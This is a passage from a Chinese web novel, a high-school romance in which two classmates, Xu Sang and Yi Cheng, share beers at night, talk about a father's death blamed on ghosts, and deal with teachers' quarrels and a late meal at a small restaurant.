班会过后的小型家长会被临时取消,说是:“之后周六全天补课,最后一个正常周末了,就先让孩子们温床里躺两天。” 许桑回到家里时,天色还没完全落黑——淡淡的白色月光,在蓝色未褪尽的天幕中。 过分朦胧飘渺,他差点以为自己眼花了…… “刘姨,这带的安保怎么样?”许桑双手抱着杯温水,坐沙发上,看着茶几对面正织毛衣的人。 “安保?就是安全吗?”刘芳动作熟练,抬头时挑针的手指依旧灵活着。 许桑懒得解释:“差不多。” “不是特别好,尤其是晚上。” “为什么?”闻声,他起了兴致,向前微微倾身。 “说是有鬼。” “……”好歹被唯物主义熏陶了十几年,许桑顿住,“怎么说?” “之前有个大师来算过,说咱们这风水不好,还说,当时修房子的那些人,一看就是没安好心。整体布局,大师说,煞人,不好。”刘芳说着还抖了下肩膀,一排针眼走完,直接停了,“所以啊,咱们这,晚上是必须要关窗的,不然容易飘鬼。” 许桑眉梢轻挑,“是发生过什么事吗?” “是,有过。”刘芳像说禁词一样,声音都不知不觉压小了,“有个跟你一般大的孩子,他爸,半夜走夜路,被鬼吓死了。当时看到人时,身体都凉了……查也查不出,都说是鬼搞的怪。好像从那以后,大家晚上都不怎么出门了。” 越听疑点越多,许桑多余问了句,“调过监控?” “没有监控啊,那都好几年前的事了,当时还没有谁愿意出钱装。”徐芳讲完,心有余悸地继续挑毛衣。 那就合理了…… 许桑抿了口温水,语气淡淡的:“我今晚出去走走。” “啊?!”刘芳惊得站了起来,连针脚都走偏了,“孩子,你可千万别去。张姨说过好几次,说你容易走丢。晚上出去本来就不安全,要是真遇到什么不好的东西……不行,胆子再大也不行。” “好,”许桑笑着应下,“我不去。” 刘芳也跟着笑起来,没忍住说道:“孩子,你爸妈肯定很幸福吧?” 笑容微滞,许桑眼眸中的光亮黯了些,“嗯?” “有这么个优秀的孩子,长得好,成绩好,还听话。”刘芳笑弯了眼,“我女儿还天天闹着我,说想加你微信。” 许桑轻敛眉,“您女儿?” “她是十七中的。上次还给我看了你运动会的照片,听她说,你今天还上台发言了。要不是我不会弄,兴许还看了你们的直播。”刘芳哈哈笑着,“我跟她说,我当然知道你优秀了,之前还想请你给我女儿辅导辅导……” 消化完这长串信息,许桑放下水杯,轻垂头,“我没那么优秀。”- 等送走刘姨,许桑有些心累地走到阳台处,推开窗。 夜风呼啦呼啦往里钻,凉意顺着微敞的衣领爬进皮肤表层……他转身,顺手捞过校服外套披上。 望着沉沉的夜色,他想起刘姨随口的问题,心道: 还真不是,他爸妈,怕是很难幸福吧。 吹了会儿风,兜里的手机忽地狂震,许桑轻顿,摸出手机,看。 【捧着math嘬两口:我亲亲爱的许桑同学。】 【捧着math嘬两口:今天的发言非常好,虽然短了点,部分措辞激烈了点,语气硬了点,态度飘了点。】 【捧着math嘬两口:我是鼓励学生个性发展的,也知道你那番话的底色是向上的。】 没等人持续输出,许桑手肘抵着窗沿,眉眼疏冷地打字。 【许桑:写检讨是吗?】 【许桑:我写。】 屏幕顶上的“对方正在输入中…”断开了。 隔了许久,才跳出:【捧着math嘬两口:是(冒冷汗),你怎么知道!】 【捧着math嘬两口:其实吧,写个一千字差不多了,我周一转交给学校就行。你放心,不需要上台单独念……】 许桑摁灭屏幕,望进一眼的如墨夜色。 半小时后,等手机充满电,他换上鞋,抓上钥匙便出了门。 有了刘芳的前情铺垫,明明朴实无华的建筑陈列,分分钟变了模样——连气氛都紧张起来了。 许桑勾上口罩,戴上卫衣的帽子,双手揣兜里,漫无目的地走着。 说实话,走了十多分钟,袒露的肌肤上,体感温度被剥夺得差不多时,他都没明白自己为何要出来。 只知道,心头有隐隐的欲望。 疯狂想要了解朝昏区的欲望。 走了不知有多久,开始还有不知道谁家孩子被打的哭声,后面便只有风声作陪了。 手机显示时间已过十二点,许桑停了步子。 熟悉不熟悉的道都走了一遍,沿途的设施陈旧得没话说……刘姨说的也不完全对,不只当时,现在某些街巷还是没有监控。 正欲换条路逛逛,远远的,不知名的方位里,有玻璃瓶轻撞的声音。 第44章 第44章 【“丑照。”】 许桑脚步轻顿, 凝神试图听清声音的位置。 “……”听不出来。 他继而打量四周环境:交叉路口,身后是条深巷。正前方是商民共用的矮楼,中间横着条不算宽的马路, 路旁摆着两个垃圾桶。 打开手电筒时,许桑又一次清晰听到瓶子的磕撞声——这只鬼,在摇骰还是碰酒? 走出深巷,白亮的光线将影子照得很实在, 蠢鬼也不会认成同类的那种实在。 视野换新、展开的那刻,他停住了。 几步之遥, 马路牙子上, 坐着个人。 跟这季节反着干似的,那人只穿了件白色单衣。两手手肘抵住膝盖,冷得发红的指节,交错着捏紧了半满的易拉罐,此时,正仰头, 灌水。 大概是灌得太急了,有些液渍顺着嘴角滑落,一路灌进领口。 还是只熟鬼。 许桑静静看了很久,看他空瓶后垂头,没睡醒一样稀里糊涂地用手背刮蹭过嘴角。 就近倚上灯泡死了的灯杆,抬手用手电照了下他的方向。 眼角被光晃了一秒,易承偏头,见光线很快撤走, 才转过来,微抬头,皱眉。 看清人时, 他眉眼轻舒,哑声:“你怎么在这?” 两人并排坐下,中间隔着几个瓶瓶罐罐。 啤酒。 许桑看了眼空着的两大罐,见他食指又扣开一罐,轻皱眉:“想当酒鬼吗?” 食指还串在拉环里,易承手罩着酒罐,手腕轻转换了个方向后,抬起喝了一口,才回答他的问题:“醉不了。” 夜风凉凉的,鼻尖飘着缕酒味,挺浅的,但却不容忽视。 许桑轻耸鼻尖,没有烟味。 “没人跟你说过,晚上别乱逛?”易承喝完一半,偏头问。 许桑语气平淡:“说了才来的。” “啧。”易承轻笑,肩头跟着笑意一颤,“胆子挺大。” “你的也不小。”许桑垂眸,看了眼剩的两瓶酒,挑了一瓶,要开前看了他一眼,见他点头,才暴力顶开,喝了一口,说道:“不过,这年头,还有人信鬼?” 闻声,易承眼神飘忽了几秒,兀自狠灌了一大口酒,才回答:“信,还多着呢。” 不知为何,总觉得他的语气里牵着抹讥讽……许桑轻晃酒瓶,听着酒液摔碎在瓶身上,轻挑眉,“你信吗?” “我?”易承动作僵滞两秒,才恢复自然,埋头自嘲式地笑了一声后,说道:“如果我说,我还真他妈信过,你信吗?” 察觉到丝毫不对劲,许桑隐隐侧了上半身,但手上依旧随散:“信。” “……” 易承转了下脑袋,看着他,眼都不眨,隔了半天才问道:“为什么?” 像个傻子。 许桑轻幅度抬头,含了口酒,吞咽后回答:“是个人,总得怕点什么。” 歪头轻笑,易承伸过酒瓶跟人碰了一个,清脆的交撞声响起时,他说道:“所以,你怕什么?” 一瓶到了尽头,他放下酒瓶,手指刚摸上最后一罐,手背便被覆住,而后淡淡的温感落下,许桑眸光微冷,从酒罐上挪眼,看进他眼里:“我怕你喝死在这……” 易承轻拧眉,想抽走酒,可手背被按着,挣扎不得,他不免一笑:“放心,喝不死。” 僵持良久,许桑依旧没放手,冷声:“你醉了。” 言语间,连他自己都没意识到,不知何时沾上了暗暗的躁意。 被光刺到般,易承微眯眼,目光在此落在酒罐上交叠的手时,他轻声:“许桑。” 很轻的一声,他染着酒意的嗓音格外低沉,许桑按捺住耳垂的痒意,应道:“嗯。” “你说,垃圾桶里,依旧能盛开玫瑰。” 许桑垂眸:“我说的。” 易承抬眸,声音被风吹乱了般,带着细微的颤意:“我怎么没见过?” 回视。 几秒后,许桑皱眉,骂了句脏话,“怎么,没见过,就不相信?他妈你不是怕鬼?那你见过?” 被骂得怔了,易承看着他蹙紧的眉头,心头滑过些欲望,想伸出手指、轻轻揉开……他还残存些理智:“没见过。” 许桑手腕转了些角度,仰头给自己灌了口酒,小声一句:“先信着。” “好。”易承点头,最后试了一次,没挑开许桑的手指,他忽地拧眉,起身,夺过许桑手里的酒,咬着罐沿,持续灌进几口,直到一滴不剩。他单手摁扁易拉罐,力气不够,只凹陷了很小的弧度,他对准街对面黑黢黢的垃圾桶,投掷过去。 哐当一声!完美进桶。 “毛病?”许桑本来按着他手背的手,在他挣力起身的刹那,转而握上他手腕,生怕人栽下去脖子拧断了,他用了些力将人拽紧。 易承垂眼:“嗯。” “……”许桑微顿,就着这一站一坐的姿势仰头看他,良久,他说:“老徐让我写份检讨。” “嗯?” “因为台上那些话。”许桑没拐弯抹角,燥意卷在冷调嗓音里,直白而热烈:“但我希望你记住。” 其实他自己也不说上来原由,只知道,两百日誓师大会时,范文案例下,本该是“开场白—渲染高考重要性—回顾过去—展望未来—感谢老师—鼓励同学—结束燃气氛”的常用结构加漂亮词填充。 可,无意间与易承对视上的瞬间——茫茫人潮中,即使闹得轰轰然,耳畔却似噤声;即使人头交杂,攒动成影,眼里却只明晰一人。 至少两帮人的债务、毫无支撑能力的家庭底子、亲近却永远只能滞后选择的“亲戚”、破烂的当下却绚烂的过往……刹那间,脑子闪过诸多关于易承的片段。 他不知道为何,转学没多久,向来不管杂事的他,一次又一次地裹入易承的人生里。 内心的汹涌告诉他:有些话,他想对他说——即使,他自己向来不信所谓鸡汤。 终于起风了,酒味分子散了些许,连带着人都清醒不少。 易承手指微折,看着许桑,久久未言。 他知道,直白的、隐晦的,他都听出来了…… 只是,脱离梦境回到现实那刻,生活除了拳打脚踢地将他踹入自生自灭之境,不会有任何欢颜。 两百天来不了奇迹,更何况他即使不为时间所缚,也会为五斗米拦腰拽入深渊……就像爬不出井口的青蛙,窥见一方天,哪怕生了再见一片天的念头,终究会两脚一滑,摔回井底。 沉默良久,易承回答:“好。” 无形中添了些坚定,他补充:“我试试。” “嗯。”许桑别开眼,松了他的手腕,反手扣开最后一罐酒,递给他,“还喝吗?” 回答问题前,易承瞟了一眼对面的垃圾桶,“刚喝了。” “……”许桑低声骂了句,仰头喝了两口,被凉风浸过、酒液裹着冰凉,入腹时激起强烈的反应,他没再多喝,将地上的残罐一把抓进手里,走到对面扔进桶里。 易承看着他走回来,视线有些迷蒙,不禁低眸晃了下头,才出声:“还真有点醉了。” “……”许桑轻拧眉,“别醉。” 听完,易承笑道:“嗯?” 许桑自然回答:“先送我回去。” 说完,忽觉有些无理……刚想撤回,就听易承点头说好。 但最终,许桑强制拐道,先将易承送回家,才循着熟悉的路往自家走。 洗浴完,他套着件睡袍,摁开手机。 相册里,多了三五张照片。 可能喝太猛,亦或是喝酒时灌进了凉风……易承是有那么些零星的醉意。他兴致一起,随手拍了几张“丑照”。 将照片滑着一一看过,他弯身推开窗户,看着对窗窗沿里淡淡的光,笑了一声。 貌似,也不是很丑。 经过誓师大会的洗礼,新一周的周一,作业收得出奇的齐。 第一节课,要是卖个保险,条款是:睡不“死”人就赔钱——保准只赚不亏的营生,今天却跌大发了。 徐富上课上得人都飘了,等同学做题时,笑得像个傻子,“同学们今天能量这么高呢!” “奋斗,奋斗!”数学课代表跳起来,说答案:“老徐,选C!” 老徐重重点头:“这股热情劲,相当可以啊!虽然答案错了……” “哈哈哈哈,绷不住了。” “老徐,选A对不对?或者选B,我刚用排除法排了C,D看着就像错的!” “太激情了,贝贝们……我也随一个,选C!” 老徐苦着脸回到讲台上,手指点了下PPT,炫酷的动画“咵啦”弹出答案——“D.” “同学们呐,路漫漫其修远兮!”他从盒子里掏出一支粉笔,画草图时,说道:“光有激情是不够的,要沉得下心……这道题,很简单,来,跟着我,做条辅助线……” 下课铃打响,半个班又睡下了。 和平时一模一样。 徐富轻摇头,走过饮水机时,踮起脚尖,把因周末放假而无人撕的两张日历扯下来,揉作一团扔进垃圾桶。 “距离高考还有:197天。 我要越过高山,趟过激流,去追逐远道的光,心中的梦。” “易哥又请假了吗?”吕丁回头了几次,都不见人,问道。 许桑笔尖轻顿:“嗯。” “那易哥还参加一诊吗?”吕丁反着坐过来,“慢慢跟我说,剩下的班费全拿去缴报名费了。这周三考,考两天那种,还交叉阅卷……听得我慌死了。” 许桑转了圈笔,问道:“一诊?” “对,老徐已经发在班群里了,你没看消息吗?” 许桑压根没加什么班群,“我没加群。” “啊?”吕丁反应了几秒,“哦,对,我等会拉你,不行,周末才能拉,不然老徐容易发现。” “……”许桑轻笑一声,等人转过去趴着补觉,他将卷子翻了个面。 要落笔前,他向旁边看了一眼。 第45章 第45章 【“写惯了。”】 送走八九点这批庞杂的人流, 易承起身拿过柜台上放凉的豆浆,插进吸管后,喝了一口便皱着眉放下。 “……”放久了。 喝了一口的豆渣沉淀。 易承转手塞了个小馒头, 又凉又硬,味同嚼蜡。怕被饿死,他没再多嫌弃,把这四五个接连吞了饱腹, 又应付走十几个客人,后腰才抵上台沿, 一边清钱, 一边休息。 这几天杨叔都没来……至于早上的进货,他没驾照,只能接连在网上约了专门的人。 渴得没辙,易承还是把豆浆喝了,望着货架上果色的五彩缤纷,有些走神。 之前, “一个水果店”差点倒闭时,杨叔他们,低价收了去。 周末由他来看店,每天的进货、摆货基本由他来负责……由此,营收五五分。 店里的生意比想象中得要好,他也期许着,靠这些钱,能填补完债务, 如果时间线能拉得更长些的话。 不过,一年的合同即将到期,照杨叔最近频繁的抱怨、与本身就下沉的身体状况, 大概率是不会续签的。 那…… “小伙子,有好点儿的苹果没有?” 易承瞬间挺直了背,将空了的豆浆放旁边,调整好状态走出去,“有。” 他顺手刮了个中号塑料袋,刚要给人简单说个品种,看明白人时,有些诧异:“刘姨?” “诶?”刘芳眼睛一亮,“小伙子,是你嘞!” “我来买点水果,许桑那孩子,爱吃。”刘芳笑着,拿过塑料袋,一边挑苹果,一边说。 “看得出来。”易承轻笑一声。 宁愿走丢、也要买水果。 “对了,你再帮我捡几根香蕉,要熟一点的。”刘芳四周望了一眼,说道。 易承往旁边的货架走了两步:“好。” 打称时,刘芳打量着店内装饰,想到上次他来家里时,跟许桑关系挺好的样子,不禁问道:“你爸妈呢?怎么让你一个人在这忙着……该读书的年纪还是该好好读书。” 易承系紧提绳时,顿了两秒:“嗯,过两天就回学校。” 刘芳点点头,“诶!好孩子。” 等送走人,易承轻叹气,估摸着到了时间,把中饭蒸好后,他坐在木凳上,摸出手机。 巧克力都没这么巧。 一打开应用,就跳进来一封回信。 点开信的那刻,他感觉,疲累到浑浊的心,清透了不少- “还有两节晚自习就下课了,怎么睡一天了还没睡够?”白晓莉一进教室,里面就是乌压压一片哈气连天,顿时气从心头起,“要睡滚回去睡,学校是学习的地方!” “不愧是白老母啊,几天没见了。这一见,还是有骂不完的点。”吕丁把语文书立起来,叹气。 陈慢清嗓子,尽量小声地,摇头晃脑尖锐一声:“骂不完,根本骂不完!” “哈哈哈……”吕丁没忍住,被逗得喷出一口笑,意识到教室忽地安静了,连忙撂下书,两手掌死死捂着嘴。 才没让猖狂的笑声泄漏。 “这节课,前二十分钟先自己背书,后二十分钟以及下一节课,我们进行作文训练。”白晓莉把教案本摊开,“另外,上次考试,语文不及格的人,都来我这重背《师说》跟《劝学》,其余人我放假前随机抽。” 把成绩单捞出来,她看着被自己用红笔划了圈的七个人,刚想交给课代表投影到黑板上,就瞥到了最顶上的那一栏。 许桑。 语文:114. 心头咯噔一声,她眉毛一跳:“许桑,你上讲台上来……其余人继续背书!” “我靠?”吕丁连忙转身:“许哥,保重啊!” “……”许桑淡淡瞥了他一眼,把铺开的物理卷子折好,上去了。 “你是不是故意的?”白晓莉特意用双色笔勾出了他的语文成绩,“不是说,语英不分家,英语能那么高,语文就这么低。你是不是对我有什么意见?” “不全是。” 许桑站在讲台下,扭头看了眼成绩单的表头:这都多久的旧账了。 “不全是,那就有点是了?”白晓莉一口老血差点没吐出来,给自己顺气后,她按上许桑的肩膀,往外拉:“我们上走廊说。” 许桑轻拧眉,没多顾忌地挣脱了她的拉拽,在她回头狠利的眼神下,淡淡开口:“我能走。” “你……”白晓莉对上他疏离的眼神,偏头咳了声,有些无所适从地先他几步走了出去。 直到两人出了教室,班内的倒吸凉气声才此起彼伏。 “嘶,气氛胶着啊!” “朕的唇语专家呢?快来破译一下他们说了什么……” “刚没看错吧,许桑推了一把白老母!” “傻逼你眼睛瞎了吧,谣言就他妈是这么传出来的!有本事过年谁给你红包、你推脱的时候,老子站旁边大声喊:他妈小孩推人了!” “对不起,我错了。” “啊,情绪好稳定,想谈……” “我是哪点让你不舒服了吗?”念及二班也是语文课,白晓莉把声音放小了些,“但凡你语文高个十几二十分,就能超过隔壁班的最高分。你知不知道,那我的教学综合评分就能再高一些?” 谁高个十几二十分都能超过。 许桑指尖捻着袖口,等她说完,微挑眉,回答最后半句话,“不知道。” “……你!”白晓莉瞪圆了眼,低头看着成绩单,叹了四五口气,“你是不是跟易承那小子坐久了,现在脾性都一个样?” 许桑认真思考她的问题,回答:“没多久,两周。” “你还真是会避重就轻。”白晓莉感觉到,跟带刺头的学生谈话,他妈就是去被刺的…… 没了心情,她折了成绩单,迈腿往里走,“下次再说,反正你尽量考上130,最低也得有个120,不然跟更高水平的优生拉不开差距……先回去,听课!” “嗯。”许桑轻点头,等人进了教室,才从走廊外绕到后门。 正要进去,就见墙角拐进了个人,视线对上的瞬间,易承笑了一声:“巧啊。” “巧。”许桑顿了步子,跟人并排走进教室时,问道:“怎么过来了?” 易承声音上扬,试图压下声音里久积的疲累:“学习。” “作文,60分呢,占大头。优秀一点的,冲50以上;中等偏上的,往48分走;剩下的,往45分靠。”白晓莉调了张同事排的ppt,开始讲课,“阅卷打分,一般都会判在40以上,不搞怪是很好保稳的……” 她洋洋洒洒讲了十多分钟,就调到最后一页,布置课间及下节课的任务: “这是别省联考的作文题目,引起挺大的争议,说难说简单的都不少。课间构思好,下节课就写,我到时候收上来批改……刚教的写作手法什么的好好用上,好好写,除了这一次,可能最后一轮复习才会顾到作文,珍惜吧!” 说完,她起身将作文题点出来。 很精简的题目: 英国作家奥利弗·巴尔说:人生只有四千周;其实换算下来,人生不过四万天。对此,你有什么看法? 要求:自选角度,题目自拟,文体不限(诗歌除外)…… 差不多浏览完,前后左右都唏嘘不止。 “叽叽喳喳些什么?上考场哪来那么时间给你吸气呼气,审好题立好意就动笔写!”白晓莉吼了一句,把打印好的作文纸交给课代表。 等下课铃一响,她就气冲冲地摔门出去,回了办公室。 “徐富,你能不能管管那个许桑?”白晓莉推门而入,把成绩单拍在徐富办公桌上,说:“才来两周,就跟我闹不是!” “……”徐富坐直,瞟了一眼她勾出的114,眼神一飘,落在了旁边的150上,嘿哟笑了一声。抬头看人脸都黑成炭了,连忙垮下嘴角,“哎哟,这回又是哪里让你不爽了?” “脾气,没个学生样子。”白晓莉说起来就来气。 鼻孔间猛喷的气,都够吹爆个气球了。 “那你就没想过,”徐富从成绩单上移开视线,没太畏惧地看向她,“可能是你的问题?” “我的问题?”白晓莉气得头发都膨胀了一倍,“老娘哪点不对,怎么一个二个都他妈说是我的问题?我辛辛苦苦,评级评不了我认了,他妈连个学生都管不住,还他妈是我的问题呢!” 徐富被她无理的逻辑整得冒火,腾地站起来,“白姐,你别以为我不知道,人新同学来的第一个早上,你就把他赶出教室了。我们是老师,不是官儿,哪需要什么下马威、三把火?” 白晓莉被噎住了,无理反驳,却也不甘被指指点点,逮着词就回怼: “老徐,你还有脸说老师?天底下哪个正常老师跟学生说,考不上140就别叫他老师。嘿哟,怎么到你这,势利眼都能算得上老师了!” 眼见愈吵愈烈,有种下一秒就要坐无顶办公室的错觉。 一旁的二班班主任,犹豫几次,还是小声劝了句:“你们别吵了——” 白晓莉转头就骂:“你他妈也不是什么好东西!” “……”两个大男人面面相觑- “不是,这作文题目,太草率了吧。”吕丁双手抱胸,歪着头看了几次,侧身,“鸿途,你有什么思路吗?” 赵鸿途推了推眼镜,“没有,只有硬编的。” “要你何用!”吕丁转向身后,刚想问问许桑,就瞥见他的作文纸上,已经写了小半篇了。 按他常年凑字数积累的经验来看,刚到200字提示字数的下一排。 他怔怔地看了一眼作文纸的格式,疑惑:“咦?” 许桑轻顿,“怎么?” “许哥,看这格式,你写的信?”吕丁“嚯”了一声,“这个题目,为什么会想写信啊?” “嗯……”见不是什么需要解答的问题,许桑落笔时说道:“写惯了。” 闻声,易承偏头,往他同桌这边分了一缕视线。 “啊?这年头居然还有人习惯写信啊…”吕丁抠头,没多细看地转过脑袋,还是疑惑: 考试不是以议论文为主吗? 难道,高手得分,剑走偏锋? 第46章 第46章 【他的。】 作文纸最终还是没有收上去, 白晓莉站讲台上说了句:“先同桌互相交换批改,没同桌的找前后。等我有时间了再收上来看看。” 说完,踩着下课铃声, 她先行一步出了教室。 “嗯?那不人人都是60分儿?” “幸好我刚打瞌睡还没写完,这不刚好,都不用写完了!” “白老母是又遇到什么事了吗?她平时不是最爱蛐蛐作文,这次居然直接不收了……” 零星的交谈里, 教室逐渐落空,转而安静覆满。 许桑习惯性留一会再走, 既是避开人流, 也是留够自己做简单复盘的时间。 复盘前,他先将还没做完的卷子摊开,处理剩余的两道。 课上,易承压根儿没心情写作文,忍着神经的疲累硬撑着做了两页数学题后,趴了下来。 他偏过头, 静静看着许桑轻垂眼睫、正认真看题的侧颜,再也坚持不住,慢慢合上了眼。 铅重的眼皮轻阖,意识消沉进无底的深渊……他陷入异常温和的睡梦。 不知过了多久,许桑停笔揉指节时,无意就看到身旁趴睡着、眉间蹙出轻微褶皱的人,轻顿。 耳畔,有细柔的呼吸起伏。 他默了两秒, 起身,轻声将后门掩实了,又顺带关了前排的灯, 只留后排一排。 本来想走的,可看到身旁的人,不放心般,他停住了。思考两秒后,将旁边一盏灯也关了。 光线转柔,但足够支撑自己看题。 近期,阶段性、诊断性考试层出不穷,各省市都涌出一套又一套题,五花八门的。 许桑打印了几套,扫完,果断叉掉一些——都是些虚浮但不实际的难。 勾出要做的题目,他从头开始算- 手机震动几秒,易承皱眉,手指按到开关键,阻断了定时闹钟的扰耳。 11点了。 他缓缓坐直,眼皮发沉,挣扎几次才完整睁开:入目空荡的教室,只余一盏灯、一个人。 他微怔,“怎么还不走?” 开口,才注意到自己没完全清醒而泛着哑意的嗓音。 许桑顿笔,看向他时,目光在他额角的红痕上停留几秒,没正面回答:“一起走?” “好。”易承点头。 点完,他望了眼自己除了卷子以外便干净无比的桌面,“啧”了一声。 将他的动作看在眼里,许桑折拢卷子时,问道:“想喝水?” “嗯。” 易承喉咙不舒服,想说等会出去买一瓶,就见许桑把杯子递了过来,盖子拧开了,还冒着热气……轻顿,“谢了。” 许桑没答,等他的空隙,闭眼快速闪回了遍今天复习的知识点。 出教室门时,整栋教学楼只余下过道处的声控灯。 易承踢了一脚铁杆,“哐当”一声,楼梯口的灯瞬间明亮。于是下楼的短短一分钟,他接连踢了四五脚。 夜色如墨,无孔不入地侵染着一草一木——凉意泛在肌肤,激起密密麻麻的灵魂战栗。 “现在不怕了?”许桑跟人并肩走着,见他频繁往黑漆漆的草丛里飘视线,跟只好奇的猫一样,不禁问道。 “怕什么?”下意识问出口后,易承明白过来,在说他怕鬼的事,轻笑一声:“没那么怕了。” 绕出学校时,许桑问道:“之前,为什么怕?” 问完,连他自己都震惊了一秒,大概是觉得,这个问题有些越界了。 “嗯…”易承眼睫轻颤,有些恍惚。 貌似从小到大,从没有过人问过他这个问题。不论是在他怕得要死或者表面装得丝毫不怕的境况下。 他轻抿唇,望进前路一片混沌里,轻声:“小时候的事了。” “记不清是哪天,我爸自己去拉货。下午出的门,第二天人就没了。”易承说话时,手指蜷着,关节因用力而泛白,“邻里都说,是让鬼给吓死的。” 听及此,许桑轻皱眉,回想起刘姨说的,下意识向易承看去。 “当时人小,脑子没长全,就信了。”说着,他唇间牵出一抹嘲意,“后面才知道,物质世界,他妈根本没有鬼。” 顿了两秒,他轻轻补充一句:“不过我倒希望真的有鬼。” 路口处灯光接触不良似的闪了一下,而后熄灭。不记得是在什么时间节点上,两人一致地停了步子。 许桑沉沉看着他,欲言又止。 良久,易承伸手在他眼前晃了晃,轻笑出声:“怎么,给你听吓着了?” “……”许桑目光追着他的手,没多想,伸手握住了。 手心里包裹进些许温热,他语气里沾了少见的柔,问得小心:“没去查过?” “查过。”易承低眸看着他的手,心头像羽毛轻轻扫过,痒痒的,暖暖的。迟钝两秒后,他继续道:“终究是人比鬼可怕。” “嗯。”许桑猜到个七七八八,怕激起他不好的回忆,便没再继续这个话题,随口:“去吃点东西?” 易承点头:“好。”- 路边摊基本都撤摊了,一路走下去,只有曾经光顾过的“牛逼炒馆”还亮着灯。 两人对视一眼,都从对方眼中看出了犹豫。 前脚迈出,后一秒就被人喊住——“又见面了!进来吃点?” 半分钟后,两人坐在木凳上,对面,挂着个粉红围裙的老板正双手把着锅铲笑嘻嘻:“我还记得你们,这脸太有辨识度了!要吃点什么?” 许桑正要去勾菜单,准备点两样没见过的试试运气,手心就被轻轻一刮。 他微顿,转而看向易承:“要什么?” “要杯酒。”易承提完要求,就低下头,认真地打量着覆在自己手上的手。 “好。”许桑拿过蓝色圆珠笔,将酒水勾下,问老板:“今天不用做题?” “哈哈哈……不用不用,上一套的答案都被同学搜出来完了,现在没题。”老板坐下来,“我儿子坐火车回来,说是顺便带了几套题回来。想做啊?后天差不多就有题了。” “……”许桑勾菜品的手轻顿,“也不是很想。” “哈哈哈!”老板见他把菜单从头到尾又从尾到头扫了好多遍,也只在酒品栏留了一笔印迹,一掌拍在脑门上,“对了,我刚研究出了几个新品,是我儿子传过来的做法,你们要不要试试?” 许桑下意识偏头看人。 易承抬头,笑着:“可以。” 他接着回答:“试试。” “那行。”老板起身,把箱子里的啤酒取出来两瓶,放桌上后,又跳起来把墙上挂着的电视打开,调到经典电影频道后,才欢脱地奔进厨房。 瞧那背影,要大干一场的气势——但凡去了“他是老板”的滤镜,多半会评定为:这是要炸了厨房的架势! 播的是个老片,才看没两秒,就闪出一句:“广告过后,精彩继续。” 许桑单手将啤酒扣开,拿过两个小杯子,倒满。 “同桌,你手挺好看。”说着,易承掰开他的手指,转而用手心覆上他的手,轻笑。 “……”许桑将其中一杯推到他面前,态度冷冷地抽回自己的手,冷声:“喝。” “啧。”易承看着他的动作,唇角微扬:“好。” 虽然对牛逼炒馆的初印象不是特别好,但不得不说,这啤酒的牌子挑的可以。 比便利店畅销款的都要好喝。 半瓶消磨完,老板才端着盘子从里面出来,放下这盘菜,捞起围裙尾摆抹了一把汗,介绍:“新菜嘛,还没起名字。就是炒的小土豆,入口即化,很香的,尝尝?” 易承先一步齐好筷子,夹了一块袖珍土豆,尝。 没剔皮,入口时,土豆皮同土豆本身岔成不同口感,皮的韧劲跟刹车板一样,会弱化掉过软的口感,相岔相融,形成一定的层次。调味辛香,糅合了辅料辣丁、椒末、腊肉的爆香,在口腔里扫过一圈,滚烫中,舌尖泛起细密密的爽劲。 “嘶…”被烫到了,易承连忙端过一旁的酒杯,喝了一口还不忘点评:“好吃。” “好吃!”老板恨不能原地用锅铲敲出一狂欢曲,听声笑得头都快掉了,“我还怕做得不好,没想到还可以。哈哈……我儿子明天就回来了,等他回来我就做给他尝尝,免得他说我手艺不行,哈哈哈!” 许桑“嗯”了一声,要夹一筷子时,淡淡看了眼易承手中的酒杯。 他的。 “怎么?”酒液冲淡了舌尖被烫出的热意,易承见他看了自己一眼,放下酒杯,轻声问道。 “没事。”许桑夹了块土豆,尝完,在老板垂涎欲滴的眼神下,回答:“好吃。” “嘿嘿,好吃就多吃点!”老板背着锅铲往回走,“你们先吃着,我再去搞一盘出来!” 电影回到正片,正是高潮阶段:两军对垒,炮轰战。 在激烈的音效声中,许桑索性直接拿过原装啤酒瓶,喝了两口后,看向身边的人。 兴许是酒意催性情,他问道:“最近很忙?” “嗯。”易承停了筷子,犹豫后直白开口:“杨叔有事,我得替上,事多。兴许过一阵子就好了。” 言语中,许桑似能听出他语气里的不安,夹杂着对来来的不确定……连带着想起那次生病,心底翻出细密的情绪,拾一而知全,或许名为心疼,他轻顿,“我把笔记给你。” “嗯?”易承没明白前后关联,看向他。 “没必要跑学校。”许桑被看得不太习惯,别开眼,“节省时间,早些休息。” 闻声,易承懂了。 他细细叼啄着用词,笑了声:“好。” 第47章 第47章 【“世界大了,问题就小了。…… 老板的第二盘菜端上来时, 门口突兀地走进个人。 灰色长风衣裹着不算修长的身形,略显臃肿;头上戴着顶黑帽子,蒙了半张脸;挽叠上去的袖口露出银质手环, 其下,手中推着个巨无霸体积的粉红行李箱。 “这么晚了还接客呢?”男人把墨镜摘了,又将行李箱推到空当处,回头看了眼桌上的人。 “儿…儿子?!” 老板端菜的手一抖二抖抖三抖, 要把一盘菜都颠漏前,许桑无奈起身, 动作轻快地接了这盘菜落桌。 恢复常态, 老板忙哈腰:“不好意思,不好意思。” 说完,他往旁边走了两步,边笑边咋呼:“儿子,你不是说最迟明天才回来嘛!” “这不给你个惊喜。”男人脱了外套,环视一圈后, 弯身敲了敲桌子,看着易承:“介意我坐这儿吗?” “坐。”易承说完,朝许桑靠拢了些。 “爸,这就是炒的新菜?”李承宇抽出双筷子,满怀期许地看着桌上的两个菜。 “嗯,才炒好。”老板另外端了两碗花生米放桌上,也跟着坐下了,“你们都尝尝?” 李承宇捞了个瓷勺, 先用筷子尖品汤汁味,再转到主料,尝完, 评点: “爸,味道可以,但火候欠了点,应该是颠勺没颠好;卖相也不行,洋葱条融了没色调,摆盘也差点儿……不过总体还行,做成招牌菜,不至于损了招牌。” 易承轻挑眉梢,偏了些视线看向他。 这就是那位,老板口中“没有一米八,长得黢黑,脸像芋头”的儿子。 “这,哪有儿子一回家就逮着老子批斗的!”老板话是这么说,但还是接受得很坦然,见许桑和易承都停了筷子,连忙说道:“别介意啊,我儿子是这方面的专家。” 说完,还傲气地扬头,“他觉得在外面创业没意思,就想回来把咱们炒馆发扬光大、做大做强,往高端走!多有抱负啊,哈哈哈……” 易承微倾酒杯,抓到关键词,“高端?” “对,高端。”李承宇转而看向易承,“听着跟南城很不搭是不是?” 易承手指轻顿:“嗯。” 